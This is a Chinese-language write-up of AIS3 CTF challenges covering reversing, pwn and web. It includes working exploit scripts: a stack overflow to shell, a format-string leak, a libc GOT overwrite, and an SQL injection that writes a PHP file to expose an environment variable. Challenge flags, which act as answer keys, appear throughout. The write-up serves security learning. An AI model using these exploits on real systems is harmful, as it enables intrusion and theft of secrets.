比賽結果

author:YJK ID:YJK

Misc

Welcome

image

flag: AIS3{Welcome_And_Enjoy_The_CTF_!}

免費 flag,但要自己輸入,不要 ctrl c+ctrl v,會拿到 fake flag

Ramen CTF

image

flag: AIS3{樂山溫泉拉麵:蝦拉麵}

圖片右邊有一張發票條碼沒有被擋

chal

2025-05-24 11 18 21

掃描之後發現應該是蝦拉麵,發票上店家是平和溫泉拉麵店

image image

google 之後發現地址是 宜蘭縣礁溪鄉德陽村礁溪路五段108巷1號

image

此地址在 google map 上是 樂山溫泉拉麵

image

AIS3 Tiny Server - Web / Misc

image

flag: AIS3{tInY_we8_53RV3R_WItH_FIle_8R0Ws1n9_@s_@_Fe@TuRe}

雖然題目敘述說建議 local 先解解看,但我直接開 instance

點進去會發現是題目簡介網頁,並發現網址給了 index.html

image

另外題目有給小提示,專注在第一個提示就好

image

因為前面 index.html 的因素,直接訪問 http://chals1.ais3.org:20148/ ,會發現是個 file server 的感覺

image

不過這可能只是當初開 file server 指定的目錄,而不是機器的 root 目錄,嘗試透過 http://chals1.ais3.org:20148// ,跳脫上去試試看,發現應該是 root 目錄,直接訪問檔案

image

image

Reverse

web flag checker

image

flag: AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}

頁面是 flag checker

image

f12 後發現有 index.js 和 index.wasm

image

推測應該是要考 wasm,所以載下來看,那這邊有關於 wasm 的 toolkit https://github.com/WebAssembly/wabt ,我是使用 wasm2c 先轉回去可讀性相對高的 c code

直接看轉回來的 c code 會發現有個 flag checker 的 function,直接看那個 function

image

decompile 後程式碼有點長,這邊就不全部貼上來了

image

分析完之後發現應該是把 flag 分成 5 段並且跟某個值去做相對應位數的 rotate,後面是給 AI 去寫 script 的,整理之後 script 如下:

 1import struct
 2def rotr64(value, amount):
 3    amount &= 63
 4    return ((value >> amount) | (value << (64 - amount))) & 0xFFFFFFFFFFFFFFFF
 5def solve():
 6    targets = [
 7        7577352992956835434,
 8        7148661717033493303,
 9        11365297244963462525,
10        10967302686822111791,
11        8046961146294847270
12    ]
13    magic = 4255033133
14    flag = ""
15    for i in range(5):
16        shift = (magic >> (i * 6)) & 0x3F
17        original = rotr64(targets[i], shift)
18        block = struct.pack('<Q', original).decode('ascii', errors='replace')
19        flag += block
20    flag = flag.rstrip('\x00')
21    return flag
22if __name__ == "__main__":
23    result = solve()
24    print(f"Flag: {result}") 

AIS3 Tiny Server - Reverse

image

flag: AIS3{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!}

把檔案載下來丟 ida 之後發現 function 很少就 function 點一點,發現有個可疑的 function

image

後面也沒什麼逆邏輯,就直接把 v8 那邊轉一轉然後去跟 rikki_l0v3 做 xor 就有 flag 了,script 如下

1from pwn import xor
2v8 = [
3    1480073267, 1197221906, 254628393, 920154, 1343445007,
4    874076697, 1127428440, 1510228243, 743978009, 54940467, 1246382110
5]
6s = b"".join(i.to_bytes(4, 'little') for i in v8)
7key = b"rikki_l0v3"
8result = xor(s, key)
9print(result.decode('utf-8', errors='ignore'))

A_simple_snake_game

image

flag: AIS3{CH3aT_Eng1n3?_0fcau53_I_bo_1T_by_hAnD}

簡單的貪食蛇遊戲

image

直接丟 ida 看一下,並且感覺這種題目應該是分數到了會噴 flag,所以直接看 function 有個 SnakeGame::Screen::drawText,可能是輸出文字的,感覺有個可疑的數值跟一些在做 xor 的操作

image

就直接把數值跟他 xor 的部分拉出來做一次就發現是 flag,script 如下

 1hex_array1 = [
 2    0xC0, 0x19, 0x3A, 0xFD, 0xCE, 0x68, 0xDC, 0xF2, 0x0C, 0x47,
 3    0xD4, 0x86, 0xAB, 0x57, 0x39, 0xB5, 0x3A, 0x8D, 0x13, 0x47,
 4    0x3F, 0x7F, 0x71, 0x98, 0x6D, 0x13, 0xB4, 0x01, 0x90, 0x9C,
 5    0x46, 0x3A, 0xC6, 0x33, 0xC2, 0x7F, 0xDD, 0x71, 0x78, 0x9F,
 6    0x93, 0x22, 0x55, 0x15
 7]
 8print(len(hex_array1))
 9v14 = [-831958911, -1047254091, -1014295699, -620220219,
10       2001515017, -317711271, 1223368792, 1697251023,
11       496855031, -569364828, 26365]
12encoded_bytes = b"".join(int(x).to_bytes(4, byteorder='little', signed=True) for x in v14)
13encoded_string = encoded_bytes[:44]
14decoded_string = ''.join(chr(encoded_string[i] ^ hex_array1[i]) for i in range(len(encoded_string)))
15print("FLAG: ", decoded_string)

PWN

Welcome to the World of Ave Mujica🌙

image

flag: AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)..._17a08e4f063f52a071ed1d36efcbf205}

檔案載下來丟 ida 然後會發現一開始先輸入 yes 會進下一個 stage,然後接下來會用 read_int8() 讀入數字並且將數字直接當作後續 read buffer 的長度

image

接下來看一下 read_int8(),會發現會用 atoi() 把字串轉數字,接下來確認是否 <= 127,再來使用 unsigned int 強制轉型回去正數,因此如果輸入負數即可繞過 <= 127 的檢查並且得到一個很大的數字,也代表可以讓 overflow 的空間變大

image

另外還有一個 function 是可以開 shell

image

確認一下保護機制,沒開 PIE、沒有 canary,所以可以直接 ret2func 開 shell

image

script 如下

1from pwn import *
2r = process("./chal")
3r = remote("chals1.ais3.org", 60143)
4r.sendline(b"yes")
5r.sendline(b"-1")
6payload = b"A" * (0xa0 + 0x8) + p64(0x401256)
7sleep(1)
8r.sendline(payload)
9r.interactive()

Format Number

image

flag: AIS3{S1d3_ch@nn3l_0n_fOrM47_strln&_!!!}

source code:

 1#include <stdio.h>
 2#include <fcntl.h>
 3#include <stdlib.h>
 4#include <time.h>
 5#include <ctype.h>
 6#include <string.h>
 7
 8
 9void check_format(char *format) {
10    for (int i = 0; format[i] != '\0'; i++) {
11        char c = format[i];
12        if (c == '\n') {
13            format[i] = '\0';
14            return;
15        }
16        if (!isdigit(c) && !ispunct(c)) {
17            printf("Error format !\n");
18            exit(1);
19        }
20    }
21}
22
23int main() {
24    setvbuf(stdin, 0, 2, 0);
25    setvbuf(stdout, 0, 2, 0);
26
27    srand(time(NULL));
28    int number = rand();
29    int fd = open("/home/chal/flag.txt", O_RDONLY);
30    char flag[0x100] = {0};
31    read(fd, flag, 0xff);
32    close(fd);
33
34    char format[0x10] = {0};
35    printf("What format do you want ? ");
36    read(0, format, 0xf);
37    check_format(format);
38
39    char buffer[0x20] = {0};
40    strcpy(buffer, "Format number : %3$");
41    strcat(buffer, format);
42    strcat(buffer, "d\n");
43    printf(buffer, "Welcome", "~~~", number);
44
45    return 0;
46}

在第 43 行有 fmt 的問題,然後第 4042 會發現可以控制 %3$d,中間的字串,但會檢查是否是數字或是符號,因此不能直接改變 type,並且要跳脫出 %3$ 的部分,不然會一直控不了參數,我這邊使用 %3$2- 直接跳脫出去,後面可以隨意指定第幾個值,接下來就是暴力找出 flag 所在的 index 值然後再轉回去字元就可以了,經過測試會在 2059,script 如下

 1from pwn import *
 2flag = ""
 3for i in range(20,59,1):
 4    r = remote('chals1.ais3.org', 50960)
 5    payload = f"%3$2-%{i}$"
 6    r.sendlineafter(b'? ', payload.encode())
 7    num = r.recvline().strip().split(b'%3$2-')[-1]
 8    flag += chr(int(num.decode()))
 9    r.close()
10print(flag)

MyGO schedule manager α (賽後解出)

image

flag: AIS3{MyGO!!!!!T0m0rin_1s_cut3@u_a2r_mAsr3r_0f_CP1usp1us_string_a2d_0verf10w!_alpha_v3r2on_have_br0ken...Go_p1ay_b3ta!}

source code

  1#include <iostream>
  2#include <vector>
  3#include <string>
  4#include <cstring> 
  5#include <cstdlib>
  6
  7// g++ chal.cpp -o chal -no-pie -z relro -z now -s
  8
  9struct schedule{
 10    char title[0x16];
 11    std::string content;
 12};
 13
 14int SCHEDULE_STATUS = 0;
 15schedule* sched = nullptr;
 16
 17void init_proc(){
 18    setvbuf(stdin, NULL, _IONBF, 0);
 19    setvbuf(stdout, NULL, _IONBF, 0);
 20    std::cin.rdbuf()->pubsetbuf(nullptr, 0);
 21    std::cout.rdbuf()->pubsetbuf(nullptr, 0);
 22    
 23    puts("+======= alpha ========+");
 24    puts("| Band schedule system |");
 25    puts("+======================+");
 26    
 27}
 28
 29void debug_backdoor(){
 30    system("/bin/sh");
 31}
 32
 33void menu(){
 34    puts("+======================+");
 35    puts("| (1) create schedule  |");
 36    puts("| (2) edit title       |");
 37    puts("| (3) edit content     |");
 38    puts("| (4) show schedule    |");
 39    puts("+======================+");
 40    printf("< MyGO @ ScheduleManager $ > ");
 41}
 42
 43int get_choice(){
 44    int choice;
 45    scanf("%d", &choice);
 46    return choice;
 47}
 48
 49void create(){
 50    if(SCHEDULE_STATUS == 0){
 51        sched = new(std::nothrow) schedule;
 52        if (sched == nullptr) {
 53            puts("[x] Memory allocation failed!");
 54            exit(0);
 55        }
 56        
 57        puts("MyGO @ sched title > ");
 58        std::cin >> sched->title;
 59        puts("MyGO @ sched content > ");
 60        std::cin >> sched->content;
 61        
 62        SCHEDULE_STATUS = 1;
 63
 64        puts("[!] Create Success !!!");
 65    } else {
 66        puts("[x] Your schedule have been created");
 67        return;
 68    }
 69}
 70
 71void edit_title(){
 72    if (SCHEDULE_STATUS == 1){
 73        puts("MyGO @ sched title > ");
 74        std::cin >> sched->title;
 75        puts("[!] Edit Success");
 76    } else {
 77        puts("[x] Schdule Not Found ... ");
 78        return;
 79    } 
 80}
 81
 82void edit_content(){
 83    if (SCHEDULE_STATUS == 1){
 84        puts("MyGO @ sched content > ");
 85        std::cin >> sched->content;
 86        puts("[!] Edit Success");
 87    } else {
 88        puts("[x] Schdule Not Found ... ");
 89        return;
 90    } 
 91}
 92
 93void show(){
 94    if (SCHEDULE_STATUS == 1){
 95        printf("===== Schedule =====\n");
 96        printf("MyGO @ Title : %15s\n", sched -> title);
 97        printf("MyGO @ Content : %s\n", sched -> content.c_str());
 98        printf("====================\n");
 99    } else {
100        puts("[x] Schdule Not Found ... ");
101        return;
102    }
103}
104
105void login(){
106    char username[0x10];  
107    char password[0x10]; 
108    
109    printf("Username > ");
110    scanf("%15s", username);
111
112    printf("Password > ");
113    scanf("%15s", password);
114    
115    if (strcmp(username, "MyGO!!!!!") == 0 && strcmp(password, "TomorinIsCute") == 0){
116        puts("\033[34m");
117        puts("=========================================");
118        puts("                  ____    _____      ");  
119        puts(" /'\\_/`\\         /\\  _`\\ /\\  __`\\    ");  
120        puts("/\\      \\  __  __\\ \\ \\L\\_\\ \\ \\/\\ \\   ");  
121        puts("\\ \\ \\__\\ \\/\\ \\/\\ \\\\ \\ \\L_L\\ \\ \\ \\ \\  ");  
122        puts(" \\ \\ \\_/\\ \\ \\ \\_\\ \\\\ \\ \\/, \\ \\ \\_\\ \\ ");  
123        puts("  \\ \\_\\\\ \\_\\/`____ \\\\ \\____/\\ \\_____\\");  
124        puts("   \\/_/ \\/_/`/___/> \\\\/___/  \\/_____/");  
125        puts("               /\\___/                 ");  
126        puts("               \\/__/                  ");  
127        puts("=========================================");
128        puts("\033[0m");
129        puts("[!] This is a system that can manage your band schedule.");
130        return;
131    } else {
132        puts("[x] Verify Failed");
133        exit(0);
134    }
135}
136
137int main()
138{
139    init_proc();
140    
141    int choice;
142    int index;
143    
144    login();
145    
146    while(1){
147        menu();
148        choice = get_choice();
149        if (choice == 1){
150            create();
151        } else if (choice == 2){
152            edit_title();
153        } else if (choice == 3){
154            edit_content();
155        } else if (choice == 4){
156            show();
157        } else {
158            break;
159        }
160        
161    }
162    return 0;
163}

可以發現是選單題,不過沒有 free,可能可以初步排除 UAF 的問題,接下來有 create、edit title、edit content、show 的功能,另外 create、edit 的部分其實都是用 cin,這部分其實跟 C++ PWN 沒有那麼熟,不過好像 cin 可能會有 overflow 的風險,因此測試看看,會發現程式並沒有 crash 並且成功寫入,但會發現 content 不見了

測試腳本如下

 1#!/usr/bin/env python3
 2from pwn import *
 3
 4context.arch = 'amd64'
 5context.log_level = 'info'
 6
 7def create(r, title, content):
 8    r.sendlineafter('> ', b'1')
 9    r.sendlineafter('title > ', title)
10    r.sendlineafter('content > ', content)
11
12def edit_title(r, title):
13    r.sendlineafter('> ', b'2')
14    r.sendlineafter('title > ', title)
15
16def edit_content(r, content):
17    r.sendlineafter('> ', b'3')
18    r.sendlineafter('content > ', content)
19
20def show(r):
21    r.sendlineafter('> ', b'4')
22
23def login(r):
24    r.sendlineafter('Username > ', b"MyGO!!!!!")
25    r.sendlineafter('Password > ', b"TomorinIsCute")
26
27# r = process('./chal')
28r = remote('chals1.ais3.org', 51000)
29login(r)
30create(r, b'a' * 0x16, b'b' * 0x16)
31edit_title(r, b'a' * 24)
32show(r)
33r.interactive()

image

然後後面 ida 之後才發現原來 edit title 可能會覆蓋到 edit content 拿到要寫入的值,並且如果 gdb 進去看結構會發現 0x4042C8 + 24 其實是儲存一個 address,因此我們如果 overflow title 的部分就代表會覆蓋到 address,所以才會導致 show 的時候拿不到值,因為 show 也是使用相同方式拿資料的,這部分就不 gdb 進去 demo 了,而這也代表我們可以將要寫資料的 address 直接透過 overflow title 的部分,接下來 edit content 的時候就會寫到那一塊了,但要注意,要記得 vmmap 看一下那一段是否可寫,不然寫了會 crash

image

image

那既然拿到任意寫,究竟要任意寫去哪裡,這時候看到 source code 會發現有個 debug_backdoor 是可以直接開 shell 的,因此我們只要 control flow 到那個 backdoor 就可以了,但會發現 schedule 結構上沒有 function pointer,然後確認一下保護機制會發現 Full RELRO,所以程式上的 got 也不可寫

image

這時候就來到最有趣的時候了,我原本以為沒有給 libc 應該是可以不用打 libc,但最後也只有想到 libc 有個 got table 可以寫,最後就結束了,但後面覺得應該只差一點點,所以就乾脆直接把題目架起來,接下來進入 container 把 linker、loader 拉出來做 patchelf,但最後發現有些會 patch 失敗,所以就果斷進去 container 並且把 debug 環境處理好,然後一步一步跟著 debugger 走,會發現跟過去看過的 Libc-GOT-Hijacking相同,有一個段落會是一堆 ABS 之類的,中間會跳到一段可寫的 got table,基本上我也沒在記哪邊可以寫,但可以好好關注以下圖片的可寫段,或是其他沒有圈起來但是他有 write 權限,如果中間有 jmp 到某段可以寫的,並且那邊看起來是一個 address,就可以嘗試寫寫看,就有機會可以 control flow

image

那就會發現我們會需要利用 libc,那就需要 leak libc,這時就可以利用 show 的部分,我們可以填入某個 got,那藉由 show 的功能去看 content 就可以察看到某個 libc address,所以只要藉由這樣的方式是就可以去計算 libc 的 base,以下是 leak libc base address 的 script

 1#!/usr/bin/env python3
 2from pwn import *
 3
 4context.arch = 'amd64'
 5context.log_level = 'info'
 6
 7def create(r, title, content):
 8    r.sendlineafter('> ', b'1')
 9    r.sendlineafter('title > ', title)
10    r.sendlineafter('content > ', content)
11
12def edit_title(r, title):
13    r.sendlineafter('> ', b'2')
14    r.sendlineafter('title > ', title)
15
16def edit_content(r, content):
17    r.sendlineafter('> ', b'3')
18    r.sendlineafter('content > ', content)
19
20def show(r):
21    r.sendlineafter('> ', b'4')
22
23def login(r):
24    r.sendlineafter('Username > ', b"MyGO!!!!!")
25    r.sendlineafter('Password > ', b"TomorinIsCute")
26
27# r = process('./chal')
28r = remote('chals1.ais3.org', 51000)
29login(r)
30put_got = 0x0000000000403fd0
31write = 0x321098
32win = 0x4013EC
33create(r, b'a' * 0x16, b'b' * 0x16)
34edit_title(r, b'a' * 24 + p64(put_got))
35show(r)
36r.recvuntil(b'Content : ')
37leak = r.recvuntil(b'\n', drop=True)
38addr = u64(leak.ljust(8, b'\x00'))
39log.info(f'Leaked address: {hex(addr)}')
40libc_base = addr - 0x187e50
41log.info(f'Libc base address: {hex(libc_base)}')
42r.interactive()

image

接下來只需要去找可以 control flow 的可寫段,並且把那一段寫成 backdoor function 就可以 control flow 了,而這部分就不多贅述,而我最後是寫到 puts 的 libc got table,因為這樣在寫完之後就可以直接 get shell(寫完之後本來會輸出 Edit Success),以下是完整 script

 1#!/usr/bin/env python3
 2from pwn import *
 3
 4context.arch = 'amd64'
 5context.log_level = 'info'
 6
 7def create(r, title, content):
 8    r.sendlineafter('> ', b'1')
 9    r.sendlineafter('title > ', title)
10    r.sendlineafter('content > ', content)
11
12def edit_title(r, title):
13    r.sendlineafter('> ', b'2')
14    r.sendlineafter('title > ', title)
15
16def edit_content(r, content):
17    r.sendlineafter('> ', b'3')
18    r.sendlineafter('content > ', content)
19
20def show(r):
21    r.sendlineafter('> ', b'4')
22
23def login(r):
24    r.sendlineafter('Username > ', b"MyGO!!!!!")
25    r.sendlineafter('Password > ', b"TomorinIsCute")
26
27# r = process('./chal')
28r = remote('chals1.ais3.org', 51000)
29login(r)
30put_got = 0x0000000000403fd0
31write = 0x321098
32win = 0x4013EC
33create(r, b'a' * 0x16, b'b' * 0x16)
34edit_title(r, b'a' * 24 + p64(put_got))
35show(r)
36r.recvuntil(b'Content : ')
37leak = r.recvuntil(b'\n', drop=True)
38addr = u64(leak.ljust(8, b'\x00'))
39log.info(f'Leaked address: {hex(addr)}')
40libc_base = addr - 0x187e50
41log.info(f'Libc base address: {hex(libc_base)}')
42log.info(f'Writable address: {hex(libc_base + write)}')
43edit_title(r, b'a' * 24 + p64(libc_base + write))
44edit_content(r, p64(win))
45r.interactive()

Web

Tomorin db 🐧

image

flag: AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}

網頁點進去是一個簡單的 file server

image

看程式碼發現如果訪問 /flag 會 redirect 到 https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6,所以使用 %2f 繞過,http://chals1.ais3.org:30000/%2fflag

image

Login Screen 1

image

flag: AIS3{1.Es55y_SQL_1nJ3ct10n_w1th_2fa_IuABDADGeP0}

點進去發現可以用 guest/guest 登入,直接登入

image

登入之後需要 2fa,一樣使用 guest 的 2fa

image

會發現只有 admin 可以看 flag

image

由此可以猜想應該有個 username 是 admin,另外密碼直接猜測弱密碼 admin 之後發現可以登入,但還是需要 2fa,觀察檔案會發現會有一個 users.db 儲存資訊,加上網址感覺可以直接讀檔案,所以直接嘗試 users.db,發現可以成功下載

image

讀取 users.db 會發現有個 table 是 users,再看內容會發現應該分別是儲存帳號、密碼、2fa code

image

輸入 admin 的 2fa code 即可獲得 flag

image

Login Screen 2

image

flag: AIS3{2.Nyan_Nyan_File_upload_jWvuUeUyyKU}

觀察 docker-compose.yml 會發現 flag2 被寫在環境變數,並且觀察其他檔案發現沒有任何頁面嘗試獲取 flag2

 1services:
 2  cms:
 3    build: ./cms
 4    ports:
 5      - "36368:80"
 6    volumes:
 7      - ./cms/html/2fa.php:/var/www/html/2fa.php:ro
 8      - ./cms/html/dashboard.php:/var/www/html/dashboard.php:ro
 9      - ./cms/html/index.php:/var/www/html/index.php:ro
10      - ./cms/html/init.php:/var/www/html/init.php:ro
11      - ./cms/html/logout.php:/var/www/html/logout.php:ro
12      - ./cms/html/users.db:/var/www/html/users.db:ro
13      - ./cms/html/styles.css:/var/www/html/styles.css:ro
14    environment:
15      - FLAG1=AIS3{1.This_is_the_first_test_flag}
16      - FLAG2=AIS3{2.This_is_the_second_test_flag}

觀察 index.php 會發現 username 的值會直接被串接進去 SQL 裡面,並且不會事先經過任何處理,所以有 sql injection 風險

image

所以可以透過這邊去做 sql injection 再 RCE 把 flag 寫在可以造訪的到的檔案,不過這邊因為我沒有到擅長 web 因此 payload 部分是使用 AI 構建的,Login Screen 1、2 解題 script 如下

  1import requests
  2import re
  3import time
  4BASE_URL = "http://login-screen.ctftime.uk:36368"
  5def get_flag1():
  6    print("=== 獲取 FLAG1 ===")
  7    session = requests.Session()
  8    print("[+] 訪問首頁...")
  9    response = session.get(f"{BASE_URL}/")
 10    print("[+] 使用 admin/admin 登入...")
 11    login_data = {
 12        'username': 'admin',
 13        'password': 'admin'
 14    }
 15    response = session.post(f"{BASE_URL}/index.php", data=login_data)
 16    if "2FA" not in response.text:
 17        print("[-] 登入失敗")
 18        return None
 19    print("[+] 登入成功,重定向到2FA頁面")
 20    print("[+] 輸入2FA碼...")
 21    fa_data = {
 22        'code': '51756447753485459839'
 23    }
 24    response = session.post(f"{BASE_URL}/2fa.php", data=fa_data)
 25    if "Welcome" not in response.text:
 26        print("[-] 2FA驗證失敗")
 27        return None
 28    print("[+] 2FA驗證成功")
 29    if "AIS3{" in response.text:
 30        flag_match = re.search(r'AIS3\{[^}]+\}', response.text)
 31        if flag_match:
 32            flag1 = flag_match.group(0)
 33            print(f"[*] FLAG1: {flag1}")
 34            return flag1
 35    print("[-] 未找到FLAG1")
 36    return None
 37def get_flag():
 38    print("\n=== 獲取 FLAG2 ===")
 39    rce_payload = "admin'; ATTACH DATABASE '/var/www/html/flag.php' AS flag; CREATE TABLE flag.content(data BLOB); INSERT INTO flag.content VALUES ('<?php echo \"FLAG2: \" . getenv(\"FLAG2\"); ?>'); --"
 40    session = requests.Session()
 41    print("[+] 訪問首頁...")
 42    response = session.get(f"{BASE_URL}/")
 43    print("[+] 執行SQL注入payload...")
 44    print(f"[*] Payload: {rce_payload[:80]}...")
 45    login_data = {
 46        'username': rce_payload,
 47        'password': 'admin'
 48    }
 49    response = session.post(f"{BASE_URL}/index.php", data=login_data)
 50    if "2FA" not in response.text:
 51        print("[-] SQL注入失敗")
 52        return None
 53    print("[+] SQL注入成功,到達2FA頁面")
 54    print("[+] 執行2FA驗證以觸發SQL執行...")
 55    fa_data = {'code': '51756447753485459839'}
 56    fa_response = session.post(f"{BASE_URL}/2fa.php", data=fa_data)
 57    if "Welcome" not in fa_response.text:
 58        print("[-] 2FA失敗,但檔案可能已經創建")
 59    else:
 60        print("[+] SQL執行成功")
 61    print("[+] 訪問創建的檔案 /flag.php...")
 62    time.sleep(1)
 63    try:
 64        file_response = requests.get(f"{BASE_URL}/flag.php")
 65        if file_response.status_code != 200:
 66            print("[-] 檔案不存在")
 67            return None
 68        print(f"[+] 檔案存在,大小: {len(file_response.text)} bytes")
 69        if "AIS3{" in file_response.text:
 70            flag_match = re.search(r'(AIS3\{[^}]+\})', file_response.text)
 71            if flag_match:
 72                flag = flag_match.group(1)
 73                print(f"[*] FLAG2: {flag}")
 74                return flag
 75        print("[-] 檔案中未找到FLAG2")
 76        print(f"[*] 檔案內容預覽: {file_response.text[:200]}")
 77        return None
 78    except Exception as e:
 79        print(f"[-] 訪問檔案失敗: {e}")
 80        return None
 81def main():
 82    print("LoginScreen2 CTF Challenge - Complete Exploit")
 83    print("=" * 50)
 84    flag1 = get_flag1()
 85    flag = get_flag()
 86    print("\n" + "=" * 50)
 87    print("攻擊結果:")
 88    if flag1:
 89        print(f"✅ FLAG1: {flag1}")
 90    else:
 91        print("❌ FLAG1: 獲取失敗")
 92
 93    if flag:
 94        print(f"✅ FLAG2: {flag}")
 95    else:
 96        print("❌ FLAG2: 獲取失敗")
 97    if flag1 and flag:
 98        print("\n🎉 兩個FLAG都成功獲取!")
 99    else:
100        print("\n⚠️  部分FLAG獲取失敗")
101if __name__ == "__main__":
102    main()

Crypto

跟去年相同都沒有碰